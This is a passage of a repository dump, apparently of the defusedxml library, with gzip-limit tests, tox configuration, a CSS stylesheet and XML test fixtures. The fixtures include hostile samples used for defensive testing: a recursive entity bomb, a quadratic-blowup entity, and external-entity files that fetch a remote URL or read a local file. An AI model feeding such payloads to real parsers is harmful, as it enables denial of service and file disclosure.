TestDefusedGzip(DefusedTestCase):\n    def get_gzipped(self, length):\n        f = io.BytesIO()\n        self.addCleanup(f.close)\n        gzf = gzip.GzipFile(mode=\"wb\", fileobj=f)\n        gzf.write(b\"d\" * length)\n        gzf.close()\n        f.seek(0)\n        return f\n\n    def decode_response(self, response, limit=None, readlength=1024):\n        dec = xmlrpc.DefusedGzipDecodedResponse(response, limit)\n        acc = []\n        while True:\n            data = dec.read(readlength)\n            if not data:\n                break\n            acc.append(data)\n        return b\"\".join(acc)\n\n    def test_defused_gzip_decode(self):\n        data = self.get_gzipped(4096).getvalue()\n        result = xmlrpc.defused_gzip_decode(data)\n        self.assertEqual(result, b\"d\" * 4096)\n        result = xmlrpc.defused_gzip_decode(data, -1)\n        self.assertEqual(result, b\"d\" * 4096)\n        result = xmlrpc.defused_gzip_decode(data, 4096)\n        self.assertEqual(result, b\"d\" * 4096)\n        with self.assertRaises(ValueError):\n            result = xmlrpc.defused_gzip_decode(data, 4095)\n        with self.assertRaises(ValueError):\n            result = xmlrpc.defused_gzip_decode(data, 0)\n\n    def test_defused_gzip_response(self):\n        clen = len(self.get_gzipped(4096).getvalue())\n\n        response = self.get_gzipped(4096)\n        data = self.decode_response(response)\n        self.assertEqual(data, b\"d\" * 4096)\n\n        with self.assertRaises(ValueError):\n            response = self.get_gzipped(4096)\n            xmlrpc.DefusedGzipDecodedResponse(response, clen - 1)\n\n        with self.assertRaises(ValueError):\n            response = self.get_gzipped(4096)\n            self.decode_response(response, 4095)\n\n        with self.assertRaises(ValueError):\n            response = self.get_gzipped(4096)\n            self.decode_response(response, 4095, 8192)\n\n\ndef test_main():\n    suite = unittest.TestSuite()\n    cls = [\n        TestDefusedElementTree,\n        TestDefusedcElementTree,\n        TestDefusedMinidom,\n        TestDefusedMinidomWithParser,\n        TestDefusedPulldom,\n        TestDefusedSax,\n        TestDefusedLxml,\n        TestXmlRpc,\n        TestDefusedGzip,\n    ]\n    for c in cls:\n        suite.addTest(unittest.defaultTestLoader.loadTestsFromTestCase(c))\n    return suite\n\n\nif __name__ == \"__main__\":\n    suite = test_main()\n    result = unittest.TextTestRunner(verbosity=1).run(suite)\n    # TODO: test that it actually works\n    defuse_stdlib()\n    sys.exit(not result.wasSuccessful())\n"
  },
  {
    "path": "tox.ini",
    "content": "[tox]\nenvlist = {py36,py37,py38,py39,py310,py311,py312}-{lxml,nolxml},py313,pypy39,black,pep8py3,doc\nskip_missing_interpreters = true\n\n[testenv]\ncommands =\n    {envpython} {toxinidir}/tests.py\ndeps =\n    lxml: lxml\n\n[testenv:black]\ncommands = black --check --verbose \\\n    {toxinidir}/setup.py \\\n    {toxinidir}/tests.py \\\n    {toxinidir}/defusedxml/\ndeps = black\n\n[testenv:pep8py3]\nbasepython = python3\ndeps =\n    flake8\ncommands =\n    {envpython} -m flake8\n\n[testenv:doc]\nbasepython = python3\ndeps =\n    docutils\ncommands =\n    python setup.py check --restructuredtext --metadata --strict\n\n[pytest]\nnorecursedirs = build .tox\npython_files = tests.py\n\n[flake8]\nexclude = .tox,*.egg,dist,build,other\nshow-source = true\nignore = E402, F811\nmax-line-length = 98\n\n[gh-actions]\npython =\n    3.6: py36\n    3.7: py37\n    3.8: py38\n    3.9: py39\n    3.10: py310\n    3.11: py311\n    3.12: py312\n    3.13: py313\n    pypy-3.9: pypy39\n"
  },
  {
    "path": "void.css",
    "content": "/*\nStylesheet for Docutils.\nBased on `blue_box.css` by Ian Bicking\nand `voidspace.css` by Ian Bicking, Michael Foord\nand `html4css1.css` \n\n*/\n\n.borderless, table.borderless td, table.borderless th\n{\n\tborder: 0;\n}\ntable.borderless td, table.borderless th\n{\n\tpadding: 0 0.5em 0 0 ! important;\n}\n.first\n{\n\tmargin-top: 0 ! important;\n}\n.last, .with-subtitle\n{\n\tmargin-bottom: 0 ! important;\n}\n.hidden\n{\n\tdisplay: none;\n}\na.toc-backref\n{\n\tcolor: black;\n\ttext-decoration: none;\n}\nblockquote.epigraph\n{\n\tmargin: 2em 5em;\n}\ndl.docutils dd\n{\n\tmargin-bottom: 0.5em;\n}\nobject[type=\"image/svg+xml\"], object[type=\"application/x-shockwave-flash\"]\n{\n\toverflow: hidden;\n}\ndiv.abstract\n{\n\tmargin: 2em 5em;\n}\ndiv.abstract p.topic-title\n{\n\tfont-weight: bold;\n\ttext-align: center;\n}\ndiv.admonition, div.attention, div.caution, div.danger, div.error,\ndiv.hint, div.important, div.note, div.tip, div.warning\n{\n\tborder: medium outset;\n\tmargin: 2em;\n\tpadding: 1em;\n}\ndiv.admonition p.admonition-title, div.hint p.admonition-title,\ndiv.important p.admonition-title, div.note p.admonition-title,\ndiv.tip p.admonition-title\n{\n\tfont-family: sans-serif;\n\tfont-weight: bold;\n}\ndiv.attention p.admonition-title, div.caution p.admonition-title,\ndiv.danger p.admonition-title, div.error p.admonition-title,\ndiv.warning p.admonition-title\n{\n\tcolor: red;\n\tfont-family: sans-serif;\n\tfont-weight: bold;\n}\ndiv.dedication\n{\n\tfont-style: italic;\n\tmargin: 2em 5em;\n\ttext-align: center;\n}\ndiv.dedication p.topic-title\n{\n\tfont-style: normal;\n\tfont-weight: bold;\n}\ndiv.figure\n{\n\tmargin-left: 2em;\n\tmargin-right: 2em;\n}\ndiv.footer, div.header\n{\n\tclear: both;\n\tfont-size: smaller;\n}\ndiv.line-block\n{\n\tdisplay: block;\n\tmargin-bottom: 1em;\n\tmargin-top: 1em;\n}\ndiv.line-block div.line-block\n{\n\tmargin-bottom: 0;\n\tmargin-left: 1.5em;\n\tmargin-top: 0;\n}\ndiv.sidebar\n{\n\tbackground-color: #ffffee;\n\tborder: medium outset;\n\tclear: right;\n\tfloat: right;\n\tmargin: 0 0 0.5em 1em;\n\tpadding: 1em;\n\twidth: 40%;\n}\ndiv.sidebar p.rubric\n{\n\tfont-family: sans-serif;\n\tfont-size: medium;\n}\ndiv.system-messages\n{\n\tmargin: 5em;\n}\ndiv.system-messages h1\n{\n\tcolor: red;\n}\ndiv.system-message\n{\n\tborder: medium outset;\n\tpadding: 1em;\n}\ndiv.system-message p.system-message-title\n{\n\tcolor: red;\n\tfont-weight: bold;\n}\ndiv.topic\n{\n\tmargin: 2em;\n}\nh1.section-subtitle, h2.section-subtitle, h3.section-subtitle,\nh4.section-subtitle, h5.section-subtitle, h6.section-subtitle\n{\n\tmargin-top: 0.4em;\n}\nh1.title\n{\n\ttext-align: center;\n}\nh2.subtitle\n{\n\ttext-align: center;\n}\nhr.docutils\n{\n\twidth: 75%;\n}\nimg.align-left, .figure.align-left, object.align-left\n{\n\tclear: left;\n\tfloat: left;\n\tmargin-right: 1em;\n}\nimg.align-right, .figure.align-right, object.align-right\n{\n\tclear: right;\n\tfloat: right;\n\tmargin-left: 1em;\n}\nimg.align-center, .figure.align-center, object.align-center\n{\n\tdisplay: block;\n\tmargin-left: auto;\n\tmargin-right: auto;\n}\n.align-left\n{\n\ttext-align: left;\n}\n.align-center\n{\n\tclear: both;\n\ttext-align: center;\n}\n.align-right\n{\n\ttext-align: right;\n}\ndiv.align-right\n{\n\ttext-align: inherit;\n}\nol.simple, ul.simple\n{\n\tmargin-bottom: 1em;\n}\nol.arabic\n{\n\tlist-style: decimal;\n}\nol.loweralpha\n{\n\tlist-style: lower-alpha;\n}\nol.upperalpha\n{\n\tlist-style: upper-alpha;\n}\nol.lowerroman\n{\n\tlist-style: lower-roman;\n}\nol.upperroman\n{\n\tlist-style: upper-roman;\n}\np.attribution\n{\n\tmargin-left: 50%;\n\ttext-align: right;\n}\np.caption\n{\n\tfont-style: italic;\n}\np.credits\n{\n\tfont-size: smaller;\n\tfont-style: italic;\n}\np.label\n{\n\twhite-space: nowrap;\n}\np.rubric\n{\n\tcolor: maroon;\n\tfont-size: larger;\n\tfont-weight: bold;\n\ttext-align: center;\n}\np.sidebar-title\n{\n\tfont-family: sans-serif;\n\tfont-size: larger;\n\tfont-weight: bold;\n}\np.sidebar-subtitle\n{\n\tfont-family: sans-serif;\n\tfont-weight: bold;\n}\np.topic-title\n{\n\tfont-weight: bold;\n}\npre.address\n{\n\tfont: inherit;\n\tmargin-bottom: 0;\n\tmargin-top: 0;\n}\npre.literal-block, pre.doctest-block, pre.math\n{\n\tmargin-left: 2em;\n\tmargin-right: 2em;\n\tbackground-color: #eeeeee;\n\n}\nspan.classifier\n{\n\tfont-family: sans-serif;\n\tfont-style: oblique;\n}\nspan.classifier-delimiter\n{\n\tfont-family: sans-serif;\n\tfont-weight: bold;\n}\nspan.interpreted\n{\n\tfont-family: sans-serif;\n}\nspan.option\n{\n\twhite-space: nowrap;\n}\nspan.pre\n{\n\twhite-space: pre;\n}\nspan.problematic\n{\n\tcolor: red;\n}\nspan.section-subtitle\n{\n\tfont-size: 80%;\n}\ntable.citation\n{\n\tborder-left: solid 1px gray;\n\tmargin-left: 1px;\n}\ntable.docinfo\n{\n\tmargin: 2em 4em;\n}\ntable.docutils\n{\n\tmargin-bottom: 0.5em;\n\tmargin-top: 0.5em;\n}\ntable.footnote\n{\n\tborder-left: solid 1px black;\n\tmargin-left: 1px;\n}\ntable.docutils td, table.docutils th,\ntable.docinfo td, table.docinfo th\n{\n\tpadding-left: 0.5em;\n\tpadding-right: 0.5em;\n\tvertical-align: top;\n}\ntable.docutils th.field-name, table.docinfo th.docinfo-name\n{\n\tfont-weight: bold;\n\tpadding-left: 0;\n\ttext-align: left;\n\twhite-space: nowrap;\n}\nh1 tt.docutils, h2 tt.docutils, h3 tt.docutils,\nh4 tt.docutils, h5 tt.docutils, h6 tt.docutils\n{\n\tfont-size: 100%;\n}\nul.auto-toc\n{\n\tlist-style-type: none;\n}\nbody\n{\n\tfont-family: Arial, sans-serif;\n\tmargin-left: auto;\n\tmargin-right: auto;\n\twidth: 800px;\n}\nem, i\n{\n\tfont-family: Times New Roman, Times, serif;\n}\na.target\n{\n\tcolor: blue;\n}\na.target\n{\n\tcolor: blue;\n}\na.toc-backref\n{\n\tcolor: black;\n\ttext-decoration: none;\n}\na.toc-backref:hover\n{\n\tbackground-color: inherit;\n}\na:hover\n{\n\tbackground-color: #cccccc;\n}\ndiv.attention, div.caution, div.danger, div.error, div.hint,\ndiv.important, div.note, div.tip, div.warning\n{\n\tpadding: 3px;\n\twidth: 80%;\n}\ndiv.admonition p.admonition-title, div.hint p.admonition-title,\ndiv.important p.admonition-title, div.note p.admonition-title,\ndiv.tip p.admonition-title\n{\n\tdisplay: block;\n\tmargin: 0;\n\ttext-align: center;\n}\ndiv.attention p.admonition-title, div.caution p.admonition-title,\ndiv.danger p.admonition-title, div.error p.admonition-title,\ndiv.warning p.admonition-title\n{\n\tdisplay: block;\n\tfont-family: sans-serif;\n\tmargin: 0;\n\ttext-align: center;\n}\nh1.title\n{\n\ttext-align: center;\n}\ntable.footnote\n{\n\tpadding-left: 0.5ex;\n}\ntable.citation\n{\n\tpadding-left: 0.5ex;\n}\npre.literal-block, pre.doctest-block\n{\n\tpadding: 5px;\n}\nh1 tt, h2 tt, h3 tt, h4 tt, h5 tt, h6 tt\n{\n\tfont-size: 100%;\n}\ncode, tt\n{\n\tcolor: #000066;\n}\np\n{\n\ttext-align: justify;\n}\ndt\n{\n\tfont-weight: bold;\n}\ntt.literal\n{\n\tbackground-color: #eeeeee;\n}\nh1\n{\n\tborder-bottom: solid 1px black;\n\tpadding-top: 20px;\n}\ncaption\n{\n\tmargin-bottom: 0.4em;\n\tfont-weight: bold;\n\tfont-size: 120%;\n}\n"
  },
  {
    "path": "xmltestdata/cyclic.xml",
    "content": "<!DOCTYPE xmlbomb [\n<!ENTITY a \"123 &b;\" >\n<!ENTITY b \"&a;\">\n]>\n<bomb>&a;</bomb>\n"
  },
  {
    "path": "xmltestdata/dtd.xml",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\"\n  \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n<html>\n    <head/>\n    <body>text</body>\n</html>\n\n"
  },
  {
    "path": "xmltestdata/dtd_element.xml",
    "content": "<?xml version=\"1.0\"?>\n<!DOCTYPE test [\n <!ELEMENT test (node)>\n <!ELEMENT node (#PCDATA)>\n]>\n<test>\n <node>A test</node>\n</test>\n"
  },
  {
    "path": "xmltestdata/external.xml",
    "content": "<!DOCTYPE external [\n<!ENTITY ee SYSTEM \"http://www.w3schools.com/xml/note.xml\">\n]>\n<root>&ee;</root>\n"
  },
  {
    "path": "xmltestdata/external_file.xml",
    "content": "<!DOCTYPE external [\n<!ENTITY ee SYSTEM \"file:///PATH/TO/xmltestdata/simple.xml\">\n]>\n<root>&ee;</root>\n\n"
  },
  {
    "path": "xmltestdata/quadratic.xml",
    "content": "<!DOCTYPE bomb [\n<!ENTITY a \"BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB